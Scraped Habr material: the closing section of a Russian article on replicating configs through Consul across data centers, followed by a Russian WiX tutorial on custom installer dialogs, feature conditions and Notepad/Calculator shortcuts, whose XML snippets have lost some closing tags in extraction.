У Consul из коробки отсутствует репликация между дата-центрами. У нас их несколько, поэтому мы вынуждены записывать изменения в каждый дата-центр последовательно. Периодически возникают ситуации, когда в один дата-центр данные записались, а в другой — нет, что приводит к неконсистентности. Если произошла временная ошибка, мы используем механизм повторного выполнения запросов (Retry), но это не решает проблему полностью.
Для исправления неконсистентности у нас есть отдельный скрипт. Он вычитывает актуальное состояние всех ключей из базы данных, сравнивает его с тем, что хранится в Consul, и актуализирует данные в случае их расхождения.
### В качестве заключения
Несмотря на все описанные выше ограничения, нам удалось реализовать систему, позволяющую доставлять конфиги на большинство серверов за три—десять секунд.
Если какой то сервер временно недоступен, система автоматически восстанавливает актуальное состояние конфига, как только он приходит в норму.
За последние пару лет система стала популярна у наших разработчиков и сегодня фактически является стандартом при работе с конфигами, для которых не требуется атомарная раскладка. Например, через AutoConfig у нас деплоятся параметры A/B-тестов, настройки промокампаний, на его базе реализован функционал Service Discovery и многое другое.
Общее количество ключей на данный момент — порядка 16 000, а их суммарный размер — примерно 120 Мб.
Спасибо за внимание!
*Расскажите в комментариях, как вы деплоите конфиги в своих проектах.* | https://habr.com/ru/post/544102/ | null | ru | null |
# Создание инсталлятора с помощью WiX. Часть 3
В этот раз мы создадим кое-что посложнее, чем установочный пакет из [первой статьи](http://habrahabr.ru/blogs/development/68616/). Научимся вносить изенять шаги установки и создавать собственные диалоги установщика.
Наш новый инсталлятор будет включать в себя следующие шаги:
**1. Приветствие**
**2. Выбор способа установки**
**3. Выбор компонентов для установки**
**4. Создание ярлыков**
**5. Все готово к установке**
**6. Процесс установки**
**7. Финальный диалог**
Будут устанавливаться две программы: Блокнот и Калькулятор.
Установщик будет предлагать три вида установки: **Обычная**, **Выборочная**, **Полная**. Зададим условие: если пользователь выбрал обычную установку Калькулятор не должен устанавливаться, при полной должны устанавливаться и блокнот и калькулятор, при выборочной то, что выбрал пользователь.
Начнем с того, что создадим новый проект и сразу добавим в него поддержку русского языка и ссылку на **WixUIExtension**.
*В [прошлой статье](http://habrahabr.ru/blogs/development/68616/) я указал на необходимось включения в проект файла **WixUI\_ru-ru.wxl**, на самом деле такой необходимости нет, т.к. файл с русской локализацией уже включен в текущую версию WiX. Не доглядел, каюсь.*
В качестве набора диалоговых окон в этот раз мы будем использовать набор **WixUI\_Mondo**. Добавим ссылку на этот набор в конце файла **Product.wxs** в разделе <Product>.
> `<Property Id="WIXUI\_INSTALLDIR" Value="INSTALLLOCATION">Property>
>
> <UIRef Id="WixUI\_Mondo"/>`
>
>
Далее разделим наш проект на несколько файлов. Вынесем описание <Feature> в отдельный файл **Features.wxs**. Так же создадим отдельный файлы для описания устанавливаемых файлов **Files.wxs**, создаваемых ярлыков **Shortcuts.wxs** и вынесем переменные в файл **Variables.wxi** как было описано во [второй статье](http://habrahabr.ru/blogs/development/69129/).
Теперь добавим файлы для установки: блокнот и калькулятор. Блокнот будет являться обязательным элементом, калькулятор — опциональным и будет входить в состав компонента блокнот как показано на скриншоте **Выбор компонентов для установки**
В файл **Files.wxs** добавим следующий код:
> `<DirectoryRef Id="INSTALLLOCATION" FileSource="C:\WINDOWS\system32\" DiskId="1">
>
> <Component Id="ComponentNotepad" Guid="{7A8E49AD-DDE6-4f82-BC1D-389E2AF2B1CB}">
>
> <File Id='Notepad' Name='notepad.exe'/>
>
> Component>
>
>
>
> <Component Id="ComponentCalc" Guid="{0564AAFC-0AC9-4b0b-8ED9-452147CCEFFA}">
>
> <File Id='Calc' Name='calc.exe'/>
>
> Component>
>
> DirectoryRef>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Мы создали описание двух разных компонентов с тем, чтобы можно было эти компоненты включить в разные опции (<Feature>) установки. Добавим опции установки, для этого в файл **Features.wxs** добавим код:
> `<Feature Id="FeatureNotepad" Title="Блокнот" Description="Описание блокнота" Level="1" ConfigurableDirectory="INSTALLLOCATION">
>
> <ComponentRef Id="ComponentNotepad" />
>
>
>
> <Feature Id="FeatureCalc" Title="Калькулятор" Description="Описание калькулятора" Level="1">
>
> <ComponentRef Id="ComponentCalc" />
>
> Feature>
>
> Feature>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Как видно опция установки FeatureCalc входит в состав FeatureNotepad, т.е. является зависимой и, соответственно, отображается как дочерний элемент в окне выбора компонентов для установки.
В параметрах ключа <Feature> мы видим такие параметры как Title и Description. Данные параметры отвечают за название компонента в дереве выбора компонентов для установки и его описание, отображающееся в правой части окна при выборе компонента. Еще один интересный момент это параметр ConfigurableDirectory — задает идентификатор директории, путь которой будет изменяться при нажатии кнопки **Обзор**. В данном случае это директория INSTALLLOCATION, т.е. та, в которую будет устанавливаться наш продукт. Если Вы не укажете значение параметра ConfigurableDirectory, то пользователь не сможет изменить путь установки.
Добавим ссылку на опции установки в файл **Product.wxs**:
> `<FeatureRef Id="FeatureNotepad"/>`
>
>
Осталось добавить ярлыки в меню Пуск и можно собирать первую версию пакета. Для добавления ярлыков в файл **Shortcuts.wxs** вставим код:
> `<DirectoryRef Id="ApplicationProgramsFolder">
>
> <Component Id="ShortcutNotepad" Guid="{29EB41BB-FCFA-4f71-B31A-9B265DA5C05D}">
>
> <Shortcut Id="ShortcutNotepad"
>
> Name="Блокнот"
>
> Description="$(var.ProductName)"
>
> Target="[INSTALLLOCATION]Notepad.exe"
>
> WorkingDirectory="INSTALLLOCATION"/>
>
> <RemoveFolder Id="ApplicationProgramsFolder" On="uninstall"/>
>
> <RegistryValue Root="HKCU"
>
> Key="Software\$(var.Manufacturer)\$(var.ProductName)"
>
> Name="installed"
>
> Type="integer"
>
> Value="1"
>
> KeyPath="yes"/>
>
> Component>
>
>
>
> <Component Id="ShortcutCalc" Guid="{C050C54C-F1E9-4fb8-9179-666305ADF489}">
>
> <Shortcut Id="ShortcutCalc"
>
> Name="Калькулятор"
>
> Description="$(var.ProductName)"
>
> Target="[INSTALLLOCATION]Calc.exe"
>
> WorkingDirectory="INSTALLLOCATION"/>
>
> <RegistryValue Root="HKCU"
>
> Key="Software\$(var.Manufacturer)\$(var.ProductName)"
>
> Name="installed"
>
> Type="integer"
>
> Value="1"
>
> KeyPath="yes"/>
>
> Component>
>
> DirectoryRef>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Описание ярлыков добавили, теперь необходимо добавить ярлыки в соответствующие опции установки:
> `<Feature Id="FeatureNotepad" Title="Блокнот" Description="Описание блокнота" Level="1" ConfigurableDirectory="INSTALLLOCATION">
>
> <ComponentRef Id="ComponentNotepad" />
>
> **<ComponentRef Id="ShortcutNotepad"/>**
>
>
>
> <Feature Id="FeatureCalc" Title="Калькулятор" Description="Описание калькулятора" Level="1">
>
> <ComponentRef Id="ComponentCalc" />
>
> **<ComponentRef Id="ShortcutCalc"/>**
>
> Feature>
>
> Feature>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Попробуем собрать наш проект и посмотреть на то, что получилось. Опции выбираются, файлы устанавливаются, но это не похоже на то, что мы планировали в самом начале. Присутствует окно лицензионного соглашения, которое мы решили убрать и отсутствует окно создания ярлыков.
Начнем вносить изменения в порядок отображения окон матсера установки. Для этого необходимо либо создать собственный набор дилоговых окон, либо взять за основу готовый и внести свои изменения. Чтобы сократить время скачаем архив с исходниками [WiX](http://wix.sourceforge.net/releases/3.5.0828.0/wix35-sources.zip), распакуем, найдем файл **WiXUI\_Mondo.wxs** (src\ext\UIExtension\wixlib), переименуем в **WiXUI\_Wizard.wxs**. Далее открываем этот файл находим строку:
> `<UI Id="WixUI\_Mondo">`
и изменяем на
> `<UI IdWixUI\_Wizard>`
>
>
Сделано для того, чтобы при сборке мы не получили ошибку "*Duplicate symbol 'WixUI:WixUI\_Mondo' found.*" Т.к. элемент с идентификатором WixUI\_Mondo уже имеется в библиотеке **WixUIExtension** ссылку на которую мы добавили в наш проект.
Включаем этот файл в наш проект. Меняем ссылку:
> `<UIRef Id="WixUI\_Mondo"/>`
>
>
на
> `<UIRef Id="WixUI\_Wizard"/>`
>
>
Уберем из пакета лицензионное соглашение, для этого удалим из файла **WixUI\_Wizard.wxs** строки:
> `<Publish Dialog="LicenseAgreementDlg" Control="Back" Event="NewDialog" Value="WelcomeDlg">1Publish>
>
> <Publish Dialog="LicenseAgreementDlg" Control="Next" Event="NewDialog" Value="SetupTypeDlg" Order="2">LicenseAccepted = "1"Publish>`
>
>
Эти строки определяли действия при нажатии кнопок Далее и Назад в диалоге лицензионного соглашения.
Изменим строку:
> `<Publish Dialog="WelcomeDlg" Control="Next" Event="NewDialog" Value="LicenseAgreementDlg">1Publish>`
>
>
на
> `<Publish Dialog="WelcomeDlg" Control="Next" Event="NewDialog" Value="SetupTypeDlg">1Publish>`
Данная строка задвала действие при нажатии кнопки Далее в окне приветствия. Мы изменили действие и назначили отображение окна выбора типа установки (SetupTypeDlg) при нажатии кнопки Далее.
Строку:
> `<Publish Dialog="SetupTypeDlg" Control="Back" Event="NewDialog" Value="LicenseAgreementDlg">1Publish>`
>
>
изменим на
> `<Publish Dialog="SetupTypeDlg" Control="Back" Event="WelcomeDlg" Value="LicenseAgreementDlg">1Publish>`
>
>
Данная строка задвала действие при нажатии кнопки Назад в окне выбора типа установки. Мы изменили дествие и назначили возврат к окну приветсвия при нажатии кнопки Назад.
Все, что мы сделали это удалили упоминание об окне с лицензионным соглашением и «перескочили» через него, переопределив реакцию кнопок Назад и Далее. Строки, определяющие реакцию кнопок Назад И Далее в окне лицензионного соглашения можно было бы и не убирать, переопределив действия кнопок Далее и Назад в диалогах приветствия и выбора способа установки мы и так исключили диалог с лицензией из процесса установки.
Если сейчас собрать и запустить пакет установки то мы увидим тоже, что и раньше, но уже без окна лицензионного соглашения.
Создадим собственное диалоговое окно создания ярлыков. Добавим в проект новый файл **WixUI\_Shortcuts.wxs** в котором определим внешний вид нового диалогового окна:
> `</fontxml version="1.0" encoding="UTF-8"?>
>
>
>
> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
>
> <Fragment>
>
> <UI>
>
> <Dialog Id="ShortcutsDlg" Width="370" Height="270" Title="!(loc.WelcomeDlg\_Title)">
>
> <Control Id="Next" Type="PushButton" X="248" Y="243" Width="56" Height="17" Default="yes" Text="!(loc.WixUINext)" />
>
> <Control Id="Back" Type="PushButton" X="192" Y="243" Width="56" Height="17" Text="!(loc.WixUIBack)" />
>
> <Control Id="Cancel" Type="PushButton" X="304" Y="243" Width="56" Height="17" Cancel="yes" Text="!(loc.WixUICancel)">
>
> <Publish Event="SpawnDialog" Value="CancelDlg">1Publish>
>
> Control>
>
>
>
> <Control Id="ShortcutDesktop"
>
> Type="CheckBox"
>
> Height="18"
>
> Width="295"
>
> X="26" Y="58"
>
> Text="Создать ярлык на рабочем столе"
>
> Property="SHORTCUT\_DESKTOP"
>
> CheckBoxValue="1" />
>
> <Control Id="ShortcutProgramMenu"
>
> Type="CheckBox"
>
> Height="18"
>
> Width="295"
>
> X="26" Y="79"
>
> Text="Создать ярлык в меню Пуск"
>
> Property="SHORTCUT\_PROGRAMMENU"
>
> CheckBoxValue="1" />
>
>
>
> <Control Id="BannerBitmap" Type="Bitmap" X="0" Y="0" Width="370" Height="44" TabSkip="no" Text="!(loc.CustomizeDlgBannerBitmap)" />
>
> <Control Id="BannerLine" Type="Line" X="0" Y="44" Width="370" Height="2" />
>
> <Control Id="BottomLine" Type="Line" X="0" Y="234" Width="370" Height="2" />
>
> <Control Id="Title" Type="Text" X="15" Y="6" Width="210" Height="15" Transparent="yes" NoPrefix="yes" Text="!(loc.CustomizeDlgTitle)" />
>
> Dialog>
>
> UI>
>
> Fragment>
>
> Wix>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Создавать диалоги можно двумя способами: создавать самостоятельно путем редактирования кода, либо можно воспользоваться визуальным редактором, например Sharp Develop. Я так и сделал, взяв за основу диалог **SetupTypeDlg.wxs** (src\ext\UIExtension\wixlib) удалил лишнее, добавил недостающее.
Включим наш новый диалог в процесс установки. Новый диалог должен отображаться вслед за диалогом выбора компонентов для установки, либо вслед за диалогом выбора типа установки если будут нажаты кнопки Обычная или Полная. Откроем файл **WixUI\_Wizard.wxs** и добавим следующее:
> `<Publish Dialog="ShortcutsDlg" Control="Back" Event="NewDialog" Value="CustomizeDlg">1Publish>
>
> <Publish Dialog="ShortcutsDlg" Control="Next" Event="NewDialog" Value="VerifyReadyDlg">1Publish>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Теперь необходимо переопределить реакцию на нажатия кнопок в диалогах **SetupTypeDlg**, **CustomizeDlg**, **VerifyReadyDlg**. Все вместе будет выглядеть так (я не привожу не измененные строки):
> `<Publish Dialog="SetupTypeDlg" Control="TypicalButton" Event="NewDialog" Value="ShortcutsDlg">1Publish>
>
>
>
> <Publish Dialog="SetupTypeDlg" Control="CompleteButton" Event="NewDialog" Value="ShortcutsDlg">1Publish>
>
>
>
> <Publish Dialog="CustomizeDlg" Control="Next" Event="NewDialog" Value="ShortcutsDlg">1Publish>
>
>
>
>
>
> <Publish Dialog="ShortcutsDlg" Control="Back" Event="NewDialog" Value="CustomizeDlg" Order="1">
>
> WixUI\_InstallMode = "InstallCustom"
>
> Publish>
>
>
>
> <Publish Dialog="ShortcutsDlg" Control="Back" Event="NewDialog" Value="SetupTypeDlg" Order="2">
>
> WixUI\_InstallMode = "InstallTypical" OR WixUI\_InstallMode = "InstallComplete"
>
> Publish>
>
>
>
> <Publish Dialog="VerifyReadyDlg" Control="Back" Event="NewDialog" Value="ShortcutsDlg">1Publish>
>
> <Publish Dialog="VerifyReadyDlg" Control="Back" Event="NewDialog" Value="CustomizeDlg" Order="1">
>
> WixUI\_InstallMode = "Change"
>
> Publish>
>
> <Publish Dialog="VerifyReadyDlg" Control="Back" Event="NewDialog" Value="MaintenanceTypeDlg" Order="2">
>
> WixUI\_InstallMode = "Repair" OR WixUI\_InstallMode = "Remove"
>
> Publish>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Собираем, запускаем, видим новое окно. Одна проблема, стоят чекбоксы или не стоят — ярлык на рабочем столе не создается, в меню Пуск создается в любом случае. Т.е. никакой реакции. А все потому, что мы к этим чекбоксам ничего не привязали. Для начале в файл **Product.wxs** добавим два новых свойства:
> `<Property Id="SHORTCUT\_PROGRAMMENU">1Property>
>
> <Property Id="SHORTCUT\_DESKTOP">1Property>`
>
>
Одноименные свойства есть и у наших чекбоксов: Property=«SHORTCUT\_DESKTOP» и Property=«SHORTCUT\_PROGRAMMENU», отсюда и связь. Если мы будем менять состояние чекбоксов в диалоговом окне будут меняться и значение Property. Теперь надо увязать создание ярлыков и значения свойств. Делается это очень просто. В компонент добавляется условие:
> `<Condition>SHORTCUT\_PROGRAMMENUCondition>`
>
>
Если выражение внутри ключа <Condition> истинно, то компонент будет устанавливаться.
Все вместе выглядит так:
> `<Component Id="ShortcutNotepad" Guid="{29EB41BB-FCFA-4f71-B31A-9B265DA5C05D}">
>
> <Shortcut Id="ShortcutNotepad"
>
> Name="Блокнот"
>
> Description="$(var.ProductName)"
>
> Target="[INSTALLLOCATION]Notepad.exe"
>
> WorkingDirectory="INSTALLLOCATION"/>
>
> <RemoveFolder Id="ApplicationProgramsFolder" On="uninstall"/>
>
> <RegistryValue Root="HKCU" Key="Software\$(var.Manufacturer)\$(var.ProductName)" Name="installed" Type="integer" Value="1" KeyPath="yes"/>
>
> <Condition>SHORTCUT\_PROGRAMMENUCondition>
>
> Component>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Не забудем добавить <Condition> и для компонента ShortcutCalc.
Все, что осталось сделать, это добавить создание ярлыков на рабочем столе. Добавим новую директорию в файл **Products.wxs**
> `<Directory Id="DesktopFolder" Name="Desktop"/>`
>
>
Описание ярлыков в файл **Shortcuts.wxs**:
> `<DirectoryRef Id="DesktopFolder">
>
> <Component Id="DesktopShortcutNotepad" Guid="{9746557B-59B1-46de-B369-5F454A946698}">
>
> <RegistryKey Root="HKCU" Key="YourAppKey\PossibleSubKey" Action="createAndRemoveOnUninstall">
>
> <RegistryValue Name="AnyValueName" Value="1" Type="integer" KeyPath="yes"/>
>
> RegistryKey>
>
> <Shortcut Id="DesktopShortcut" Directory="DesktopFolder" Name="Блокнот" Target="[INSTALLLOCATION]Notepad.exe"/>
>
> <Condition>SHORTCUT\_DESKTOPCondition>
>
> Component>
>
>
>
> <Component Id="DesktopShortcutCalc" Guid="{B4908FF0-96C6-4f12-8E64-BC366E1147E1}">
>
> <RegistryKey Root="HKCU" Key="YourAppKey\PossibleSubKey" Action="createAndRemoveOnUninstall">
>
> <RegistryValue Name="AnyValueName" Value="1" Type="integer" KeyPath="yes"/>
>
> RegistryKey>
>
> <Shortcut Id="DesktopShortcut" Directory="DesktopFolder" Name="Калькулятор" Target="[INSTALLLOCATION]Calc.exe"/>
>
> <Condition>SHORTCUT\_DESKTOPCondition>
>
> Component>
>
> DirectoryRef>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Добавим ссылки на ярлыки в файл **Features.wxs**:
> `<Feature Id="FeatureNotepad" Title="Блокнот" Description="Описание блокнота" Level="1" ConfigurableDirectory="INSTALLLOCATION">
>
> <ComponentRef Id="ComponentNotepad" />
>
> <ComponentRef Id="ShortcutNotepad"/>
>
> **<ComponentRef Id="DesktopShortcutNotepad"/>**
>
>
>
> <Feature Id="FeatureCalc" Title="Калькулятор" Description="Описание калькулятора" Level="1">
>
> <ComponentRef Id="ComponentCalc" />
>
> <ComponentRef Id="ShortcutCalc"/>
>
> **<ComponentRef Id="DesktopShortcutCalc"/>**
>
> Feature>
>
> Feature>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
>
>
Почти закончили. Осталось выполнить еще одно условие, при обычной установке устанавливаться должен только блокнот. Для выполнения этого условия добавим <Condition> в <Feature>, отвечающую за установку калькулятора.
> `<Condition Level="0">INSTALLLEVEL=3Condition>`
>
>
Параметр Level при использовании <Condition> внутри <Feature> является обязательным. Он задает Level самой Feature> если выполняется условие. В данном случае это **INSTALLLEVEL=3** значение 3 устанавливается свойству INSTALLLEVEL если пользователь выбрал **Обычную** установку. Как я это узнал? Посмотрел исходники диалога выбора вида установки **SetupTypeDlg.wxs** (там, кстати сказать, вообще очень много интересного)
> `<Publish Event="SetInstallLevel" Value="3">1Publish>`
>
>
Значение 0 параметра Level означает, что опция установки будет отключена.
Собираем, запускаем, устанавливаем.
Исходники проекта можно скачать [здесь](http://intelloware.com/Download/wix/setupproject3.zip)
На этом все. В следующий раз я расскажу о **CustomActions**, очень интересная штука, позволяющая добавлять в пакет установки любые действия. | https://habr.com/ru/post/70616/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.